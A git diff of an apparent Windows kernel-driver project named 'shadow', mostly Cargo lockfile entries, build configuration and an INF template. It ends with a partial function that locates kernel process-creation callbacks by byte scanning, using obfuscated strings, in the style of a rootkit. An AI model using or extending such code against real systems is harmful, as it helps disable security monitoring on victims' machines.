||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "prettyplease"
|
||||||
|
version = "0.2.20"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5f12335488a2f3b0a83b14edad48dca9879ce89b2edd10e80237e4e852dd645e"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "proc-macro2"
|
||||||
|
version = "1.0.86"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quote"
|
||||||
|
version = "1.0.36"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex"
|
||||||
|
version = "1.10.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b91213439dad192326a0d7c6ee3955910425f441d7038e0d6933b0aec5c4517f"
|
||||||
|
dependencies = [
|
||||||
|
"aho-corasick",
|
||||||
|
"memchr",
|
||||||
|
"regex-automata 0.4.7",
|
||||||
|
"regex-syntax 0.8.4",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-automata"
|
||||||
|
version = "0.1.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
|
||||||
|
dependencies = [
|
||||||
|
"regex-syntax 0.6.29",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-automata"
|
||||||
|
version = "0.4.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
|
||||||
|
dependencies = [
|
||||||
|
"aho-corasick",
|
||||||
|
"memchr",
|
||||||
|
"regex-syntax 0.8.4",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-syntax"
|
||||||
|
version = "0.6.29"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-syntax"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustc-hash"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustix"
|
||||||
|
version = "0.38.34"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "70dc5ec042f7a43c4a73241207cecc9873a06d45debb38b329f8541d85c2730f"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"linux-raw-sys",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustversion"
|
||||||
|
version = "1.0.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "955d28af4278de8121b7ebeb796b6a45735dc01436d898801014aced2773a3d6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ryu"
|
||||||
|
version = "1.0.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "scopeguard"
|
||||||
|
version = "1.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "semver"
|
||||||
|
version = "1.0.23"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde"
|
||||||
|
version = "1.0.204"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bc76f558e0cbb2a839d37354c575f1dc3fdc6546b5be373ba43d95f231bf7c12"
|
||||||
|
dependencies = [
|
||||||
|
"serde_derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde_derive"
|
||||||
|
version = "1.0.204"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e0cd7e117be63d3c3678776753929474f3b04a43a080c744d6b0ae2a8c28e222"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde_json"
|
||||||
|
version = "1.0.120"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4e0d21c9a8cae1235ad58a00c11cb40d4b1e5c784f1ef2c537876ed6ffd8b7c5"
|
||||||
|
dependencies = [
|
||||||
|
"itoa",
|
||||||
|
"ryu",
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shadow"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"bitfield",
|
||||||
|
"hashbrown",
|
||||||
|
"kernel-log",
|
||||||
|
"lazy_static",
|
||||||
|
"log",
|
||||||
|
"ntapi",
|
||||||
|
"obfstr",
|
||||||
|
"shared",
|
||||||
|
"spin",
|
||||||
|
"wdk",
|
||||||
|
"wdk-alloc",
|
||||||
|
"wdk-build",
|
||||||
|
"wdk-panic",
|
||||||
|
"wdk-sys",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sharded-slab"
|
||||||
|
version = "0.1.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
|
||||||
|
dependencies = [
|
||||||
|
"lazy_static",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shared"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"ntapi",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shlex"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "smallvec"
|
||||||
|
version = "1.13.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "spin"
|
||||||
|
version = "0.9.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
||||||
|
dependencies = [
|
||||||
|
"lock_api",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strsim"
|
||||||
|
version = "0.11.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.71"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b146dcf730474b4bcd16c311627b31ede9ab149045db4d6088b3becaea046462"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror"
|
||||||
|
version = "1.0.63"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c0342370b38b6a11b6cc11d6a805569958d54cfa061a29969c3b5ce2ea405724"
|
||||||
|
dependencies = [
|
||||||
|
"thiserror-impl",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-impl"
|
||||||
|
version = "1.0.63"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a4558b58466b9ad7ca0f102865eccc95938dca1a74a856f2b57b6629050da261"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thread_local"
|
||||||
|
version = "1.1.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"once_cell",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing"
|
||||||
|
version = "0.1.40"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
|
||||||
|
dependencies = [
|
||||||
|
"pin-project-lite",
|
||||||
|
"tracing-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-core"
|
||||||
|
version = "0.1.32"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
|
||||||
|
dependencies = [
|
||||||
|
"once_cell",
|
||||||
|
"valuable",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-log"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
"once_cell",
|
||||||
|
"tracing-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-subscriber"
|
||||||
|
version = "0.3.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
|
||||||
|
dependencies = [
|
||||||
|
"matchers",
|
||||||
|
"nu-ansi-term",
|
||||||
|
"once_cell",
|
||||||
|
"regex",
|
||||||
|
"sharded-slab",
|
||||||
|
"smallvec",
|
||||||
|
"thread_local",
|
||||||
|
"tracing",
|
||||||
|
"tracing-core",
|
||||||
|
"tracing-log",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unicode-ident"
|
||||||
|
version = "1.0.12"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "utf8parse"
|
||||||
|
version = "0.2.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "valuable"
|
||||||
|
version = "0.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "version_check"
|
||||||
|
version = "0.9.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5e255fa09cb7395c5f9b8c72831347c9b77aa51fc66c3f44eb5d097a44122e9f"
|
||||||
|
dependencies = [
|
||||||
|
"wdk-build",
|
||||||
|
"wdk-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-alloc"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "00c3180aa54fa2e30ecfd52a9e40210e634c09f760658cf8793ef0bf2ee7d917"
|
||||||
|
dependencies = [
|
||||||
|
"wdk-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-build"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78da0616ae3b04f9488d250e8b087b7b332e7f1f18b4c7bcedebf7aea6231594"
|
||||||
|
dependencies = [
|
||||||
|
"bindgen",
|
||||||
|
"cargo_metadata",
|
||||||
|
"clap",
|
||||||
|
"clap-cargo",
|
||||||
|
"rustversion",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
"thiserror",
|
||||||
|
"windows",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-macros"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "65a27743e45f2bacdc8a778482a52ea2fda527bdac95bad5086cee080441b2da"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-panic"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6f56558972c0d7069aa3b2b409752e65db7ba3fd24fcffc3887d19b6e48585e4"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-sys"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "36c6fbc666a0535164ebbb16cff321ee2cac38636aa6b9f1712148388f401087"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"bindgen",
|
||||||
|
"lazy_static",
|
||||||
|
"rustversion",
|
||||||
|
"thiserror",
|
||||||
|
"tracing-subscriber",
|
||||||
|
"wdk-build",
|
||||||
|
"wdk-macros",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "which"
|
||||||
|
version = "4.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
|
||||||
|
dependencies = [
|
||||||
|
"either",
|
||||||
|
"home",
|
||||||
|
"once_cell",
|
||||||
|
"rustix",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi"
|
||||||
|
version = "0.3.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||||
|
dependencies = [
|
||||||
|
"winapi-i686-pc-windows-gnu",
|
||||||
|
"winapi-x86_64-pc-windows-gnu",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi-i686-pc-windows-gnu"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi-x86_64-pc-windows-gnu"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be"
|
||||||
|
dependencies = [
|
||||||
|
"windows-core",
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-core"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm",
|
||||||
|
"windows_aarch64_msvc",
|
||||||
|
"windows_i686_gnu",
|
||||||
|
"windows_i686_gnullvm",
|
||||||
|
"windows_i686_msvc",
|
||||||
|
"windows_x86_64_gnu",
|
||||||
|
"windows_x86_64_gnullvm",
|
||||||
|
"windows_x86_64_msvc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnullvm"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zerocopy"
|
||||||
|
version = "0.7.35"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
|
||||||
|
dependencies = [
|
||||||
|
"zerocopy-derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zerocopy-derive"
|
||||||
|
version = "0.7.35"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
37
driver/Cargo.toml
Normal file
37
driver/Cargo.toml
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
[package]
|
||||||
|
name = "shadow"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
crate-type = ["cdylib"]
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
wdk = "0.2.0"
|
||||||
|
wdk-alloc = "0.2.0"
|
||||||
|
wdk-panic = "0.2.0"
|
||||||
|
wdk-sys = "0.2.0"
|
||||||
|
winapi = "0.3.9"
|
||||||
|
ntapi = { version = "0.4.1", default-features = false }
|
||||||
|
shared = { path = "../shared" }
|
||||||
|
log = "0.4.21"
|
||||||
|
kernel-log = "0.1.3"
|
||||||
|
obfstr = "0.4.3"
|
||||||
|
spin = "0.9.8"
|
||||||
|
lazy_static = "1.5.0"
|
||||||
|
bitfield = "0.15.0"
|
||||||
|
hashbrown = "0.14.5"
|
||||||
|
|
||||||
|
[build-dependencies]
|
||||||
|
wdk-build = "0.2.0"
|
||||||
|
|
||||||
|
[profile.dev]
|
||||||
|
panic = "abort"
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
panic = "abort"
|
||||||
|
|
||||||
|
[features]
|
||||||
|
mapper = []
|
||||||
|
|
||||||
|
[package.metadata.wdk]
|
||||||
16
driver/Makefile.toml
Normal file
16
driver/Makefile.toml
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
extend = "target/rust-driver-makefile.toml"
|
||||||
|
|
||||||
|
[env]
|
||||||
|
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true
|
||||||
|
|
||||||
|
[config]
|
||||||
|
load_script = '''
|
||||||
|
#!@rust
|
||||||
|
//! ```cargo
|
||||||
|
//! [dependencies]
|
||||||
|
//! wdk-build = { git = "https://github.com/joaoviictorti/windows-drivers-rs.git", branch = "master" }
|
||||||
|
//! ```
|
||||||
|
#![allow(unused_doc_comments)]
|
||||||
|
|
||||||
|
wdk_build::cargo_make::load_rust_driver_makefile()?
|
||||||
|
'''
|
||||||
6
driver/build.rs
Normal file
6
driver/build.rs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
fn main() -> Result<(), wdk_build::ConfigError> {
|
||||||
|
let mut config = wdk_build::Config::from_env_auto()?;
|
||||||
|
config.driver_config = wdk_build::DriverConfig::WDM();
|
||||||
|
config.configure_binary_build();
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
62
driver/shadow.inx
Normal file
62
driver/shadow.inx
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
;
|
||||||
|
; shadow.inf
|
||||||
|
;
|
||||||
|
|
||||||
|
[Version]
|
||||||
|
Signature = "$WINDOWS NT$"
|
||||||
|
Class = System ; TODO: specify appropriate Class
|
||||||
|
ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid
|
||||||
|
Provider = %ManufacturerName%
|
||||||
|
CatalogFile = shadow.cat
|
||||||
|
DriverVer = ; TODO: set DriverVer in stampinf property pages
|
||||||
|
PnpLockdown = 1
|
||||||
|
|
||||||
|
[DestinationDirs]
|
||||||
|
DefaultDestDir = 13
|
||||||
|
|
||||||
|
[SourceDisksNames]
|
||||||
|
1 = %DiskName%,,,""
|
||||||
|
|
||||||
|
[SourceDisksFiles]
|
||||||
|
shadow.sys = 1,,
|
||||||
|
|
||||||
|
;*****************************************
|
||||||
|
; Install Section
|
||||||
|
;*****************************************
|
||||||
|
|
||||||
|
[Manufacturer]
|
||||||
|
%ManufacturerName% = Standard,NT$ARCH$.10.0...16299 ; %13% support introduced in build 16299
|
||||||
|
|
||||||
|
[Standard.NT$ARCH$.10.0...16299]
|
||||||
|
%shadow.DeviceDesc% = shadow_Device, Root\shadow ; TODO: edit hw-id
|
||||||
|
|
||||||
|
[shadow_Device.NT]
|
||||||
|
CopyFiles = File_Copy
|
||||||
|
|
||||||
|
[File_Copy]
|
||||||
|
shadow.sys
|
||||||
|
|
||||||
|
;-------------- Service installation
|
||||||
|
[shadow_Device.NT.Services]
|
||||||
|
AddService = shadow,%SPSVCINST_ASSOCSERVICE%, shadow_Service_Inst
|
||||||
|
|
||||||
|
; -------------- shadow driver install sections
|
||||||
|
[shadow_Service_Inst]
|
||||||
|
DisplayName = %shadow.SVCDESC%
|
||||||
|
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
|
||||||
|
StartType = 3 ; SERVICE_DEMAND_START
|
||||||
|
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
|
||||||
|
ServiceBinary = %13%\shadow.sys
|
||||||
|
|
||||||
|
[shadow_Device.NT.Wdf]
|
||||||
|
KmdfService = shadow, shadow_wdfsect
|
||||||
|
|
||||||
|
[shadow_wdfsect]
|
||||||
|
KmdfLibraryVersion = $KMDFVERSION$
|
||||||
|
|
||||||
|
[Strings]
|
||||||
|
SPSVCINST_ASSOCSERVICE = 0x00000002
|
||||||
|
ManufacturerName = "<Your manufacturer name>" ;TODO: Replace with your manufacturer name
|
||||||
|
DiskName = "shadow Installation Disk"
|
||||||
|
shadow.DeviceDesc = "shadow Device"
|
||||||
|
shadow.SVCDESC = "shadow Service"
|
||||||
139
driver/src/callbacks/find_callback.rs
Normal file
139
driver/src/callbacks/find_callback.rs
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
use shared::vars::Callbacks;
|
||||||
|
use crate::utils;
|
||||||
|
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
||||||
|
use obfstr::obfstr;
|
||||||
|
|
||||||
|
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
||||||
|
///
|
||||||
|
unsafe fn find_ps_create_process() -> Option<*mut u8> {
|
||||||
|
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x14);
|
||||||
|
|
||||||
|
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
||||||
|
let instructions = [0xE8];
|
||||||
|
|
||||||
|
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||||
|
let position = y + 1;
|
||||||
|
let new_offset = function_bytes[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
